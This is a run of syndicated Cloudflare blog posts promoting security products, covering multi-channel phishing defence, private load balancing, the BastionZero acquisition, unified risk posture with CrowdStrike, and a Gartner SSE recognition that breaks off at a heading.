At this time, only new customers signing up with Google will be able to sign in with their Google account, but we will be implementing this for more of our users going forward, with the ability to link/de-link social login providers, and we will be adding additional social login methods. Enterprise users with an established SSO setup will not be able to use this method at this time, and those with an established SSO setup based on Google Workspace will be forwarded to their SSO flow, as we consider how to streamline the Access and IdP policies that have been set up to lock down your Cloudflare environment.

If you are new to Cloudflare, and have a Google account, it is easier than ever to start using Cloudflare to protect your websites, build a new service, or try any of the other services that Cloudflare provides.

A safer Internet

One of Cloudflare’s goals has always been to democratize cyber security tools, so everyone can provide content and connect to the Internet safely, even without the resources of large enterprise organizations.

We have decided to provide a large set of new features for free to all Cloudflare users, covering a wide range of security use cases, for web administrators, network administrators, and cyber security enthusiasts.

Log in to your Cloudflare account to start taking advantage of these announcements today. We love feedback on our community forums, and we commit to improving both existing features and new features moving forward.

Watch on Cloudflare TV

A wild week in phishing, and what it means for you

Post Syndicated from Pete Pang original https://blog.cloudflare.com/a-wild-week-in-phishing-and-what-it-means-for-you


Being a bad guy on the Internet is a really good business. In more than 90% of cybersecurity incidents, phishing is the root cause of the attack, and during this third week of August phishing attacks were reported against the U.S. elections, in the geopolitical conflict between the U.S., Israel, and Iran, and to cause $60M in corporate losses.

You might think that after 30 years of email being the top vector for attack and risk we are helpless to do anything about it, but that would be giving too much credit to bad actors, and a misunderstanding of how defenders focused on detections can take control and win.

Phishing isn’t about email exclusively, or any specific protocol for that matter. Simply put, it is an attempt to get a person, like you or me, to take an action that unwittingly leads to damages. These attacks work because they appear to be authentic, visually or organizationally, such as pretending to be the CEO or CFO of your company, and when you break it down they are three main attack vectors that Cloudflare has seen most impactful from the bad emails we protect our customers from: 1. Clicking links (deceptive links are 35.6% of threat indicators) 2. Downloading files or malware  (malicious attachments are 1.9% of threat indicators) 3. Business email compromise (BEC) phishing that elicits money or intellectual property with no links or files (0.5% of threat indicators).

Today, we at Cloudflare see an increase in what we’ve termed multi-channel phishing. What other channels are there to send links, files and elicit BEC actions? There’s SMS (text messaging) and public and private messaging applications, which are increasingly common attack vectors that take advantage of the ability to send links over those channels, and also how people consume information and work. There’s cloud collaboration, where attackers rely on links, files, and BEC phishing on commonly used collaboration tools like Google Workspace, Atlassian, and Microsoft Office 365. And finally, there’s web and social phishing targeting people on LinkedIn and X. Ultimately, any attempt to stop phishing needs to be comprehensive enough to detect and protect against these different vectors.

Learn more about these technologies and products here

A real example

It’s one thing to tell you this, but we’d love to give you an example of how a multi-channel phish plays out with a sophisticated attacker.

Here’s an email message that an executive notices is in their junk folder. That’s because our Email Security product noticed there’s something off about it and moved it there, but it relates to a project the executive is working on, so the executive thinks it’s legitimate. There’s a request for a company org chart, and the attacker knows that this is the kind of thing that’s going to be caught if they continue on email, so they include a link to a real Google form:

  • The executive clicks the link, and because it is a legitimate Google form, it displays the following:
  • There’s a request to upload the org chart here, and that’s what they try to do:
  • The executive drags it in, but it doesn’t finish uploading because in the document there is an “internal only” watermark that our Gateway and digital loss prevention (DLP) engine detected, which in turn prevented the upload.
  • Sophisticated attackers use urgency to drive better outcomes. Here, the attackers know the executive has an upcoming deadline for the consultant to report back to the CEO. Unable to upload the document, they respond back to the attacker. The attacker suggests that they try another method of upload or, in the worst case scenario, send the document on WhatsApp.
  • The executive attempts to upload the org chart to the website they were provided in the second email, not knowing that this site would have loaded malware, but because it was loaded in Cloudflare’s Browser Isolation, it kept the executive’s device safe. Most importantly, when trying to upload sensitive company documents, the action is stopped again:
  • Finally they try WhatsApp, and again, we block it:

Ease of use

Setting up a security solution and maintaining it is critical to long term protection. However, having IT administration teams constantly tweak each product, configuration, and monitor each users’ needs is not only costly but risky as well, as it puts a large amount of overhead on these teams.

Protecting the executive in the example above required just four steps:

  1. Install and login to Cloudflare’s device agent for protection

With just a few clicks, anyone with the device agent client can be protected against multi-channel phish, making it easy for end users and administrators. For organizations that don’t allow clients to be installed, an agentless deployment is also available.  

2.  Configure policies that apply to all your user traffic routed through our secure web gateway. These policies can block access outright to high risk sites, such as those known to participate in phishing campaigns. For sites that may be suspicious, such as newly registered domains, isolated browser access allows users to access the website, but limits their interaction.

The executive was also unable to upload the org chart to a free cloud storage service because their organization is using Cloudflare One’s Gateway and Browser Isolation solutions that were configured to load any free cloud storage websites in a remote isolated environment, which not only prevented the upload but also removed the ability to copy and paste information as well.

Also, while the executive was able to converse with the bad actor over WhatsApp, their files were blocked because of Cloudflare One’s Gateway solution, configured by the administrator to block all uploads and downloads on WhatsApp.

3.  Set up DLP policies based on what shouldn’t be uploaded, typed, or copied and pasted.

The executive was unable to upload the org chart to the Google form because the organization is using Cloudflare One’s Gateway and DLP solutions. This protection is implemented by configuring Gateway to block any DLP infraction, even on a valid website like Google.

4.  Deploy Email Security and set up auto-move rules based on the types of emails detected.

In the example above, the executive never received any of the multiple malicious emails that were sent to them because Cloudflare’s Email Security was protecting their inbox. The phishing emails that did arrive were put into their Junk folder because the email was impersonating someone that didn’t match the signature in the email, and the configuration in Email Security automatically moved it there because of a one-click configuration set by the executive’s IT administrator.

But even with best-in-class detections, it goes without saying that it is important to have the ability to drill down on any metric to learn about individual users that are being impacted by an ongoing attack. Below is a mockup of our upcoming improved email security monitoring dashboard.

What’s next

While phishing, despite being around for three decades, continues to be a clear and present danger, effective detections in a seamless and comprehensive solution are really the only way to stay protected these days.

If you’re simply thinking about purchasing email security by itself, you can see why that just isn’t enough. Multi-layered protection is absolutely necessary to protect modern workforces, because work and data don’t just sit in email. They’re everywhere and on every device. Your phishing protection needs to be as well.

While you can do this by stitching together multiple vendors, it just won’t all work together. And besides the cost, a multi-vendor approach also usually increases overhead for investigation, maintenance, and uniformity for IT teams that are already stretched thin.

Whether or not you are at the start of your journey with Cloudflare, you can see how getting different parts of the Cloudflare One product suite can help holistically with phishing. And if you are already deep in your journey with Cloudflare, and are looking for 99.99% effective email detections trusted by the Fortune 500, global organizations, and even government entities, you can see how our Email Security helps.

If you’re running Office 365, and you’d like to see what we can catch that your current provider cannot, you can start right now with Retro Scan.

And if you are using our Email Security solution already, you can learn more about our comprehensive protection here.

Eliminating hardware with Load Balancing and Cloudflare One

Post Syndicated from Noah Crouch original https://blog.cloudflare.com/eliminating-hardware-with-load-balancing-and-cloudflare-one


In 2023, Cloudflare introduced a new load balancing solution supporting Local Traffic Management (LTM). This year, we took it a step further by introducing support for layer 4 load balancing to private networks via Spectrum. Now, organizations can seamlessly balance public HTTP(S), TCP, and UDP traffic to their privately hosted applications. Today, we’re thrilled to unveil our latest enhancement: support for end-to-end private traffic flows as well as WARP authenticated device traffic, eliminating the need for dedicated hardware load balancers! These groundbreaking features are powered by the enhanced integration of Cloudflare load balancing with our Cloudflare One platform, and are available to our enterprise customers. With this upgrade, our customers can now utilize Cloudflare load balancers for both public and private traffic directed at private networks.

Cloudflare Load Balancing today

Before discussing the new features, let’s review Cloudflare’s existing load balancing support and the challenges customers face.

Cloudflare currently supports four main load balancing traffic flows:

  1. Internet-facing load balancers connecting to publicly accessible endpoints at layer 7, supporting HTTP(S).
  2. Internet-facing load balancers connecting to publicly accessible endpoints at layer 4 (Spectrum), supporting TCP and UDP services
  3. Internet-facing load balancers connecting to private endpoints at layer 7 HTTP(S) via Cloudflare Tunnels.
  4. Internet-facing load balancers connecting to private endpoints at layer 4 (Spectrum), supporting TCP and UDP services via Cloudflare Tunnels.

One of the biggest advantages of Cloudflare’s load balancing solutions is the elimination of hardware costs and maintenance. Unlike hardware-based load balancers, which are costly to purchase, license, operate, and upgrade, Cloudflare’s solution requires no hardware. There’s no need to buy additional modules or new licenses, and you won’t face end-of-life issues with equipment that necessitate costly replacements.

With Cloudflare, you can focus on innovation and growth. Load balancers are deployed in every Cloudflare data center across the globe, in over 300 cities, providing virtually unlimited scale and capacity. You never need to worry about bandwidth constraints, deployment locations, extra hardware modules, downtime, upgrades, or supply chain constraints. Cloudflare’s global Anycast network ensures that every customer connects to a nearby data center and load balancer, where policies, rules, and steering are applied efficiently. And now, the resilience, scale, and simplicity of Cloudflare load balancers can be integrated into your private networks! We have worked hard to ensure that Cloudflare load balancers are highly available and disaster ready, from the core to the edge – even when datacenters lose power.

Keeping private resources private with Magic WAN

Before today’s announcement, all of Cloudflare’s load balancers operating at layer 4 have been connected to the public Internet. Customers have been able to secure the traffic flowing to their load balancers with WAF rules and Zero Trust policies, but some customers would prefer to keep certain resources private and under no circumstances exposed to the Internet. It’s been possible to isolate origin servers and endpoints this way, which can exist on private networks that are only accessible via Cloudflare Tunnels. And as of today, we can offer a similar level of isolation to customers’ layer 4 load balancers.

In our previous LTM blog post, we discussed connecting these internal or private resources to the Cloudflare global network and how Cloudflare would soon introduce load balancers that are accessible via private IP addresses. Unlike other Cloudflare load balancers, these do not have an associated hostname. Rather, they are accessible via an RFC 1918 private IP address. In the land of load balancers, this is often referred to as a virtual IP (VIP). As of today, load balancers that are accessible at private IPs can now be used within a virtual network to isolate traffic to a certain set of Cloudflare tunnels, enabling customers to load balance traffic within their private network without exposing applications to the public Internet.

The question you might be asking is, “If I have a private IP load balancer and privately hosted applications, how do I or my users actually reach these now-private services?”

Cloudflare Magic WAN can now be used as an on-ramp in tandem with Cloudflare load balancers that are accessible via an assigned private IP address. Magic WAN provides a secure and high-performance connection to internal resources, ensuring that traffic remains private and optimized across our global network. With Magic WAN, customers can connect their corporate networks directly to Cloudflare’s global network with GRE or IPSec tunnels, maintaining privacy and security while enjoying seamless connectivity. The Magic WAN Connector easily establishes connectivity to Cloudflare without the need to configure network gear, and it can be deployed at any physical or cloud location! With the enhancements to Cloudflare’s load balancing solution, customers can confidently keep their corporate applications resilient while maintaining the end-to-end privacy and security of their resources.

This enhancement opens up numerous use cases for internal load balancing, such as managing traffic between different data centers, efficiently routing traffic for internally hosted applications, optimizing resource allocation for critical applications, and ensuring high availability for internal services. Organizations can now replace traditional hardware-based load balancers, reducing complexity and lowering costs associated with maintaining physical infrastructure. By leveraging Cloudflare load balancing and Magic WAN, companies can achieve greater flexibility and scalability, adapting quickly to changing network demands without the need for additional hardware investments.

But what about latency? Load balancing is all about keeping your applications resilient and performant and Cloudflare was built with speed at its core. There is a Cloudflare datacenter within 50ms of 95% of the Internet-connected population globally! Now, we support all Cloudflare One on-ramps to not only provide seamless and secure connectivity, but also to dramatically reduce latency compared to legacy solutions. Load balancing also works seamlessly with Argo Smart Routing to intelligently route around network congestion to improve your application performance by up to 30%! Check out the blogs here and here to read more about how Cloudflare One can reduce application latency.

Supporting distributed users with Cloudflare WARP

But what about when users are distributed and not connected to the local corporate network? Cloudflare WARP can now be used as an on-ramp to reach Cloudflare load balancers that are configured with private IP addresses. The Cloudflare WARP client allows you to protect corporate devices by securely and privately sending traffic from those devices to Cloudflare’s global network, where Cloudflare Gateway can apply advanced web filtering. The WARP client also makes it possible to apply advanced Zero Trust policies that check a device’s health before it connects to corporate applications.

In this load balancing use case, WARP pairs up perfectly with Cloudflare Tunnels so that customers can place their private origins within virtual networks to help either isolate traffic or handle overlapping private IP addresses. Once these virtual networks are defined, administrators can configure WARP profiles to allow their users to connect to the proper virtual networks. Once connected, WARP takes the configuration of the virtual networks and installs routes on the end users’ devices. These routes will tell the end user’s device how to reach the Cloudflare load balancer that was created with a private, non-publicly routable IP address. The administrator could then create a DNS record locally that would point to that private IP address. Once DNS resolves locally, the device would route all subsequent traffic over the WARP connection. This is all seamless to the user and occurs with minimal latency.

How we connected load balancing to Cloudflare One

In contrast to public L4 or L7 load balancers, private L4 load balancers are not going to have publicly addressable hostnames or IP addresses, but we still need to be able to handle their traffic. To make this possible, we had to integrate existing load balancing services with private networking services created by our Cloudflare One team. To do this, upon creation of a private load balancer, we now assign a private IP address within the customer’s virtual network. When traffic destined for a private load balancer enters Cloudflare, our private networking services make a request to load balancing to determine which endpoint to connect to. The information in the response from load balancing is used to connect directly to a privately hosted endpoint via a variety of secure traffic off-ramps. This differs significantly from our public load balancers where traffic is off-ramped to the public internet. In fact, we can now direct traffic from any on-ramp to any off-ramp! This allows for significant flexibility in architecture. For example, not only can we direct WARP traffic to an endpoint connected via GRE or IPSec, but we can also off-ramp this traffic to Cloudflare Tunnel, a CNI connection, or out to the public internet! Now, instead of purchasing a bespoke load balancing solution for each traffic type, like an application or network load balancer, you can configure a single load balancing solution to handle virtually any permutation of traffic that your business needs to run!

Getting started with internal load balancing

We are excited to be releasing these new load balancing features that solve critical connectivity issues for our customers and effectively eliminate the need for a hardware load balancer. Cloudflare load balancers now support end-to-end private traffic flows with Cloudflare One. To get started with configuring this feature, take a look at our load balancing documentation.

We are just getting started with our local traffic management load balancing support. There is so much more to come including user experience changes, enhanced layer 4 session affinity, new steering methods, refined control of egress ports, and more.

Cloudflare acquires BastionZero to extend Zero Trust access to IT infrastructure

Post Syndicated from Kenny Johnson original https://blog.cloudflare.com/cloudflare-acquires-bastionzero


We’re excited to announce that BastionZero, a Zero Trust infrastructure access platform, has joined Cloudflare. This acquisition extends our Zero Trust Network Access (ZTNA) flows with native access management for infrastructure like servers, Kubernetes clusters, and databases.

Security teams often prioritize application and Internet access because these are the primary vectors through which users interact with corporate resources and external threats infiltrate networks. Applications are typically the most visible and accessible part of an organization’s digital footprint, making them frequent targets for cyberattacks. Securing application access through methods like Single Sign-On (SSO) and Multi-Factor Authentication (MFA) can yield immediate and tangible improvements in user security.

However, infrastructure access is equally critical and many teams still rely on castle-and-moat style network controls and local resource permissions to protect infrastructure like servers, databases, Kubernetes clusters, and more. This is difficult and fraught with risk because the security controls are fragmented across hundreds or thousands of targets. Bad actors are increasingly focusing on targeting infrastructure resources as a way to take down huge swaths of applications at once or steal sensitive data. We are excited to extend Cloudflare One’s Zero Trust Network Access to natively protect infrastructure with user- and device-based policies along with multi-factor authentication.

Application vs. infrastructure access

Application access typically involves interacting with web-based or client-server applications. These applications often support modern authentication mechanisms such as Single Sign-On (SSO), which streamline user authentication and enhance security. SSO integrates with identity providers (IdPs) to offer a seamless and secure login experience, reducing the risk of password fatigue and credential theft.

Infrastructure access, on the other hand, encompasses a broader and more diverse range of systems, including servers, databases, and network devices. These systems often rely on protocols such as SSH (Secure Shell), RDP (Remote Desktop Protocol), and Kubectl (Kubernetes) for administrative access. The nature of these protocols introduces additional complexities that make securing infrastructure access more challenging.

  • SSH Authentication: SSH is a fundamental tool for accessing Linux and Unix-based systems. SSH access is typically facilitated through public key authentication, through which a user is issued a public/private key pair that a target system is configured to accept. These keys must be distributed to trusted users, rotated frequently, and monitored for any leakage. If a key is accidentally leaked, it can grant a bad actor direct control over the SSH-accessible resource.
  • RDP Authentication: RDP is widely used for remote access to Windows-based systems. While RDP supports various authentication methods, including password-based and certificate-based authentication, it is often targeted by brute force and credential stuffing attacks.
  • Kubernetes Authentication: Kubernetes, as a container orchestration platform, introduces its own set of authentication challenges. Access to Kubernetes clusters involves managing roles, service accounts, and kubeconfig files along with user certificates.

Infrastructure access with Cloudflare One today

Cloudflare One facilitates Zero Trust Network Access (ZTNA) for infrastructure resources with an approach superior to traditional VPNs. An administrator can define a set of identity, device, and network-aware policies that dictate if a user can access a specific IP address, hostname, and/or port combination. This allows you to create policies like “Only users in the identity provider group ‘developers’ can access resources over port 22 (default SSH port) in our corporate network,” which is already much finer control than a VPN with basic firewall policies would allow.

However, this approach still has limitations, as it relies on a set of assumptions about how corporate infrastructure is provisioned and managed. If an infrastructure resource is configured outside of the assumed network structure, e.g. SSH over a non-standard port is allowed, all network-level controls may be bypassed. This leaves only the native authentication protections of the specific protocol protecting that resource and is often how leaked SSH keys or database credentials can lead to a wider system outage or breach.

Many organizations will leverage more complex network structures like a bastion host model or complex Privileged Access Management (PAM) solutions as an added defense-in-depth strategy. However, this leads to significantly more cost and management overhead for IT security teams and sometimes complicates challenges related to least-privileged access. Tools like bastion hosts or PAM solutions end up eroding least-privilege over time because policies expand, change, or drift from a company’s security stance. This leads to users incorrectly retaining access to sensitive infrastructure.

How BastionZero fits in

While our goal for years has been to help organizations of any size replace their VPNs as simply and quickly as possible, BastionZero expands the scope of Cloudflare’s VPN replacement solution beyond apps and networks to provide the same level of simplicity for extending Zero Trust controls to infrastructure resources. This helps security teams centralize the management of even more of their hybrid IT environment, while using standard Zero Trust practices to keep DevOps teams productive and secure. Together, Cloudflare and BastionZero can help organizations replace not only VPNs but also bastion hosts; SSH, Kubernetes, or database key management systems; and redundant PAM solutions.

BastionZero provides native integration to major infrastructure access protocols and targets like SSH, RDP, Kubernetes, database servers, and more to ensure that a target resource is configured to accept connections for that specific user, instead of relying on network level controls. This allows administrators to think in terms of resources and targets, not IP addresses and ports. Additionally, BastionZero leverages OpenPubKey, an open source library that uses two forms of authentication to generate an OpenID Connect (OIDC) token, which avoids single point of failure risks inherent to a standalone Identity Provider.

BastionZero will add the following capabilities to Cloudflare’s SASE platform:

  • The elimination of long-lived keys/credentials through frictionless infrastructure privileged access management (PAM) capabilities that modernize credential management (e.g., SSH keys, kubeconfig files, database passwords) through a new ephemeral, decentralized approach.
  • A DevOps-based approach for securing SSH connections to support least privilege access that records sessions and logs every command for better visibility to support compliance requirements. Teams can operate in terms of auto-discovered targets, not IP addresses or networks, as they define just-in-time access policies and automate workflows.
  • Clientless RDP to support access to desktop environments without the overhead and hassle of installing a client on a user’s device.

What’s next for BastionZero

The BastionZero team will be focused on integrating their infrastructure access controls directly into Cloudflare One. During the third and fourth quarters of this year, we will be announcing a number of new features to facilitate Zero Trust infrastructure access via Cloudflare One. All functionality delivered this year will be included in the Cloudflare One free tier for organizations less than 50 users. We believe that everyone should have access to world-class security controls.

We are looking for early beta testers and teams to provide feedback about what they would like to see with respect to infrastructure access. If you are interested in learning more, please sign up here.

Introducing Cloudflare for Unified Risk Posture

Post Syndicated from James Chang original https://blog.cloudflare.com/unified-risk-posture


Managing risk posture — how your business assesses, prioritizes, and mitigates risks — has never been easy. But as attack surfaces continue to expand rapidly, doing that job has become increasingly complex and inefficient. (One global survey found that SOC team members spend, on average, one-third of their workday on incidents that pose no threat).  

But what if you could mitigate risk with less effort and less noise?

This post explores how Cloudflare can help customers do that, thanks to a new suite that converges capabilities across our Secure Access Services Edge (SASE) and web application and API (WAAP) security portfolios. We’ll explain:

  • Why this approach helps protect more of your attack surface, while also reducing SecOps effort
  • Three key use cases — including enforcing Zero Trust with our expanded CrowdStrike partnership
  • Other new projects we’re exploring based on these capabilities

Cloudflare for Unified Risk Posture

Today, we’re announcing Cloudflare for Unified Risk Posture, a new suite of cybersecurity risk management capabilities that can help enterprises with automated and dynamic risk posture enforcement across their expanding attack surface. Today, one unified platform enables organizations to:

  • Evaluate risk across people and applications: Cloudflare evaluates risk posed by people via user entity and behavior analytics (UEBA) models and risks to apps, APIs, and sites via malicious payload, zero-day threat, and bot detection models.
  • Exchange risk indicators with best-in-class partners: Cloudflare ingests risk scores from best-in-class endpoint protection (EPP) and identity provider (IDP) partners and shares telemetry back with security information and event management (SIEM) and extended detection and response (XDR) platforms for further analysis, all via one-time integrations with our unified API.
  • Enforce automated risk controls at scale: Based on these dynamic first- and third-party risk scores, Cloudflare enforces consistent risk controls for people and apps across any location around the world.

Figure 1: Unified Risk Posture Diagram

As mentioned above, this suite converges capabilities from our SASE and WAAP security portfolios onto our global network. Customers can now take advantage of built-in risk management functionality packaged as part of these existing portfolios.

This launch builds on our progressive efforts to extend first-party visibility and controls and third-party integrations that make it easier for organizations to adapt to evolving risks. For example, as part of the 2024 Security Week, we announced the general availability of behavior-based user risk scoring and the beta availability of an AI-enabled assistant to help you analyze risks facing your applications. And in a recent integration in the Fall of 2023, we announced that our cloud email security customers can ingest and display our threat detections within the CrowdStrike Falcon® Next-Gen SIEM dashboard.

To further manage your risk posture, you will be able to take advantage of new Cloudflare capabilities and integrations, including:

  • A new integration to share Cloudflare Zero Trust and email log data with the CrowdStrike Falcon Next-Gen SIEM (available now)
  • A new integration to share Cloudflare’s user risk score with Okta to enforce access policies (coming by the end of Q2 2024)
  • New first-party UEBA models, including user risk scores based on device posture checks (coming by the end of Q2 2024)

Unifying the evaluation, exchange, and enforcement stages of risk management onto Cloudflare’s platform helps security leaders mitigate risk with less effort. As a cybersecurity vendor defending both public-facing and internal infrastructure, Cloudflare is uniquely positioned to protect wide swathes of your expanding attack surface. Bringing together dynamic first-party risk scoring, flexible integrations, and automated enforcement helps drive two primary business outcomes:

  1. Reducing effort in SecOps with less manual policy building and greater agility in responding to incidents. This means fewer clicks to build policies, more automated workflows, and lower mean times to detect (MTTD) and mean times to respond (MTTR) to incidents.
  2. Reducing cyber risk with visibility and controls that span people and apps. This means fewer critical incidents and more threats blocked automatically.

Customers like Indeed, the #1 job site in the world, are already seeing these impacts by partnering with Cloudflare:

“Cloudflare is helping us mitigate risk more effectively with less effort and simplifies how we deliver Zero Trust across my organization.”
Anthony Moisant, SVP, Chief Information Officer and Chief Security Officer at Indeed.

Problem: Too many risks across too much attack surface

Managing risk posture is an inherently broad challenge, covering internal dangers and external threats across attack vectors. Below is just a sampling of risk factors CISOs and their security teams track across three everyday dimensions including people, apps, and data:

  • People risks: Phishing, social engineering, malware, ransomware, remote access, insider threats, physical access compromise, third party / supply chain, mobile devices / BYOD
  • App risks: denial of service, zero-day exploits, SQL injection, cross-site scripting, remote code execution, credential stuffing, account takeover, shadow IT usage, API abuse
  • Data risks: data loss / exposure, data theft / breach, privacy violation, compliance violation, data tampering

Point solutions emerged to lock down some of these specific risks and attack vectors. But over time, organizations have accumulated many services with a limited ability to talk to one another and build a more holistic view of risk. The granular telemetry generated by each tool has led to information overload for security staff who are often stretched thin already. Security Information and Event Management (SIEM) and Extended Detection & Response (XDR) platforms play a critical role in aggregating risk data across environments and mitigating threats based on analysis, but these tools still demand time, resources, and expertise to operate effectively. All these challenges have gotten worse as attack surfaces have expanded rapidly, as businesses embrace hybrid work, build new digital apps, and more recently, experiment with AI.

How Cloudflare helps manage risk posture

To help restore control over this complexity, Cloudflare for Unified Risk Posture provides one platform to evaluate risk, exchange indicators, and enforce dynamic controls throughout IT environments and around the world, all while complementing the security tools your business already relies on.

Although the specific risks Cloudflare can mitigate are wide-ranging (including all those in the sample bullets above), the following three use cases represent the full range of our capabilities, which you can start taking advantage of today.

Use Case #1: Enforce Zero Trust with Cloudflare & CrowdStrike

This first use case spotlights the flexibility with which Cloudflare fits into your current security ecosystem to make it easier to adopt Zero Trust best practices.

Cloudflare integrates with and ingests security signals from best-in-class EPP and IDP partners to enforce identity and device posture checks for any access request to any destination. You can even onboard multiple providers at once to enforce different policies in different contexts. For example, by integrating with CrowdStrike Falcon®, joint customers can enforce policies based on the Falcon Zero Trust Assessment (ZTA) score, which delivers continuous real-time security posture assessments across all endpoints in an organization regardless of the location, network or user. Plus, customers can then push activity logs generated by Cloudflare, including all access requests, to whichever cloud storage or analytics providers they prefer.

Today, we are announcing an expanded partnership with CrowdStrike for a new integration that enables organizations to share logs with Falcon Next-Gen SIEM for deeper analysis and further investigation. Falcon Next-Gen SIEM unifies first- and third-party data, native threat intelligence, AI, and workflow automation to drive SOC transformation and enforce better threat protection. The integration of Cloudflare Zero Trust and email logs with Falcon Next-Gen SIEM allows joint customers to identify and investigate Zero Trust networking and email risks and analyze data with other log sources to uncover hidden threats.

“CrowdStrike Falcon Next-Gen SIEM delivers up to 150x faster search performance over legacy SIEMs and products positioned as SIEM alternatives. Our transformative telemetry, paired with Cloudflare’s robust Zero Trust capabilities provides an unprecedented partnership. Together, we are converging two of the most critical pieces of the risk management puzzle that organizations of every size must address in order to combat today’s growing threats.”
Daniel Bernard, Chief Business Officer at CrowdStrike

Below is a sample workflow of how Cloudflare and CrowdStrike work together to enforce Zero Trust policies and mitigate emerging risks. Together, Cloudflare and CrowdStrike complement each other by exchanging activity and risk data and enforcing risk-based policies and remediation steps.

Figure 2: Enforce Zero Trust with Cloudflare & CrowdStrike

Phase 1: Automated investigation

Phase 2: Zero Trust enforcement

Phase 3: Remediation

Cloudflare and CrowdStrike help an organization detect that a user is compromised.

In this example, Cloudflare has recently blocked web browsing to risky websites and phishing emails, serving as the first line of defense. Those logs are then sent to CrowdStrike Falcon Next-Gen SIEM, which alerts your organization’s analyst about suspicious activity.

At the same time, CrowdStrike Falcon Insight XDR automatically scans that user’s device and detects that it is infected. As a result, the Falcon ZTA score reflecting the device’s health is lowered.

This org has set up device posture checks via Cloudflare’s Zero Trust Network Access (ZTNA), only allowing access when the Falcon ZTA risk score is above a specific threshold they have defined. 

Our ZTNA denies the user’s next request to access an application because the Falcon ZTA score falls below that threshold.

Because of this failed device posture check, Cloudflare increases the risk score for that user, which places them in a group with more restrictive controls. 

In parallel, CrowdStrike’s Next-GenSIEM has continued to analyze the specific user’s activity and broader risks throughout the organization’s environment. Using machine learning models, CrowdStrike surfaces top risks and proposes solutions for each risk to your analyst.

The analyst can then review and select remediation tactics — for example, quarantining the user’s device — to further reduce risk throughout the organization. 

Use Case #2: Protect apps, APIs, & websites

This next use case is focused on protecting apps, APIs, and websites from threat actors and bots. Many customers first adopt Cloudflare for this use case, but may not be aware of the risk evaluation algorithms underpinning their protection.

Figure 3: Protect apps, APIs & sites with ML-backed threat intelligence

Cloudflare’s Application Services detect and mitigate malicious payloads and bots using risk models backed by machine learning (ML) including:

These risk models are trained largely on telemetry from Cloudflare’s global network, which is used as a reverse proxy by nearly 20% of all websites and sees about 3 trillion DNS queries per day. This unique real-time visibility powers threat intelligence and even enables us to detect and mitigate zero-days before others.

Cloudflare also uses ML to discover new API endpoints and schemas without requiring any prerequisite customer input. This helps organizations uncover unauthenticated APIs and map their growing attack surface before applying protections.

Unlike other vendors, Cloudflare’s network architecture enables risk evaluation models and security controls on public-facing and internal infrastructure to be shared across all of our services. This means that organizations can apply protections against app vulnerability exploits, DDoS, and bots in front of internal apps like self-hosted Jira and Confluence servers, protecting them from emerging and even zero-day threats.

Organizations can review the potential misconfigurations, data leakage risks, and vulnerabilities that impact the risk posture for their apps, APIs, and websites within Cloudflare Security Center. We are investing in this centralized view of risk posture management by integrating alerts and insights across our security portfolio. In fact, we recently announced updates focused on highlighting where gaps exist in how your organization has deployed Cloudflare services.

Finally, we are also making it easier for organizations to investigate security events directly and recently announced beta availability of Log Explorer. In this beta, security teams can view all of their HTTP traffic in one place with search, analytics dashboards, and filters built-in. These capabilities can help customers monitor more risk factors within the Cloudflare platform versus exporting to third party tools.

Use Case #3: Protect sensitive data with UEBA

This third use case summarizes one common way many customers plan to leverage our user risk / UEBA scores to prevent leaks and mishandling of sensitive data:

Figure 4: Protect apps, APIs & sites with ML-backed threat intelligence

  • Phase 1: In this example, the security team has already configured data loss prevention (DLP) policies to detect and block traffic with sensitive data. These policies prevent one user’s multiple, repeated attempts to upload source code to a public GitHub repository.
  • Phase 2: Because this user has now violated a high number of DLP policies within a short time frame, Cloudflare scores that suspicious user as high risk, regardless of whether those uploads had malicious or benign intent. The security team can now further investigate that specific user, including reviewing all of his recent log activity.
  • Phase 3: For that specific high-risk user or for a group of high-risk users, administrators can then set ZTNA or even browser isolation rules to block or isolate access to applications that contain other sensitive data.

Altogether, this workflow highlights how Cloudflare’s risk posture controls adapt to suspicious behavior from evaluation through to enforcement.

How to get started with unified risk posture management

The above use cases reflect how our customers are unifying risk management with Cloudflare. Through these customer conversations, a few themes emerged for why they feel confident in our vision to help them manage risk across their expanding attack surface:

  • The simplicity of our unified platform: We bring together SASE and WAAP risk scoring and controls for people and apps. Plus, with a single API for all Cloudflare services, organizations can automate and customize workflows with infrastructure-as-code tools like Terraform with ease.
  • The flexibility of our integrations: We exchange risk signals with the EPP, IDP, XDR, and SIEM providers you already use, so you can do more with your tools and data. Plus, with one-time integrations that work across all our services, you can extend controls across your IT environments with agility.
  • The scale of our global network: Every security service is available for customers to run in every location across our network spanning 320+ locations and 13K+ interconnects. In this way, single-pass inspection and risk policy enforcement is always fast, consistent, and resilient, delivered close to your users and apps.

If you’re ready to see how Cloudflare can help you manage risk, request a consultation today. Or if you’re at RSA Conference 2024, come to any of our in-person events.

To continue learning more about how Cloudflare can help you evaluate risk, exchange risk indicators, and enforce risk controls, explore more resources on our website.

Cloudflare named in 2024 Gartner® Magic Quadrant™ for Security Service Edge

Post Syndicated from Sam Rhea original https://blog.cloudflare.com/cloudflare-sse-gartner-magic-quadrant-2024


Gartner has once again named Cloudflare to the Gartner® Magic Quadrant™ for Security Service Edge (SSE) report1. We are excited to share that Cloudflare is one of only ten vendors recognized in this report. For the second year in a row, we are recognized for our ability to execute and the completeness of our vision. You can read more about our position in the report here.

Last year, we became the only new vendor named in the 2023 Gartner® Magic Quadrant™ for SSE. We did so in the shortest amount of time as measured by the date since our first product launched. We also made a commitment to our customers at that time that we would only build faster. We are happy to report back on the impact that has had on customers and the Gartner recognition of their feedback.

Cloudflare can bring capabilities to market quicker, and with greater cost efficiency, than competitors thanks to the investments we have made in our global network over the last 14 years. We believe we were able to become the only new vendor in 2023 by combining existing advantages like our robust, multi-use global proxy, our lightning-fast DNS resolver, our serverless compute platform, and our ability to reliably route and accelerate traffic around the world.

We believe we advanced further in the SSE market over the last year by building on the strength of that network as larger customers adopted Cloudflare One. We took the ability of our Web Application Firewall (WAF) to scan for attacks without compromising speed and applied that to our now comprehensive Data Loss Prevention (DLP) approach. We repurposed the tools that we use to measure our own network and delivered an increasingly mature Digital Experience Monitoring (DEX) suite for administrators. And we extended our Cloud Access Security Broker (CASB) toolset to scan more applications for new types of data.

We are grateful to the customers who have trusted us on this journey so far, and we are especially proud of our customer reviews in the Gartner® Peer Insights™ panel as those customers report back on their experience with Cloudflare One. The feedback has been so consistently positive that Gartner named Cloudflare a Customers’ Choice2 for 2024. We are going to make the same commitment to you today that we made in 2023: Cloudflare will only build faster as we continue to build out the industry’s best SSE platform.

What is a Security Service Edge?

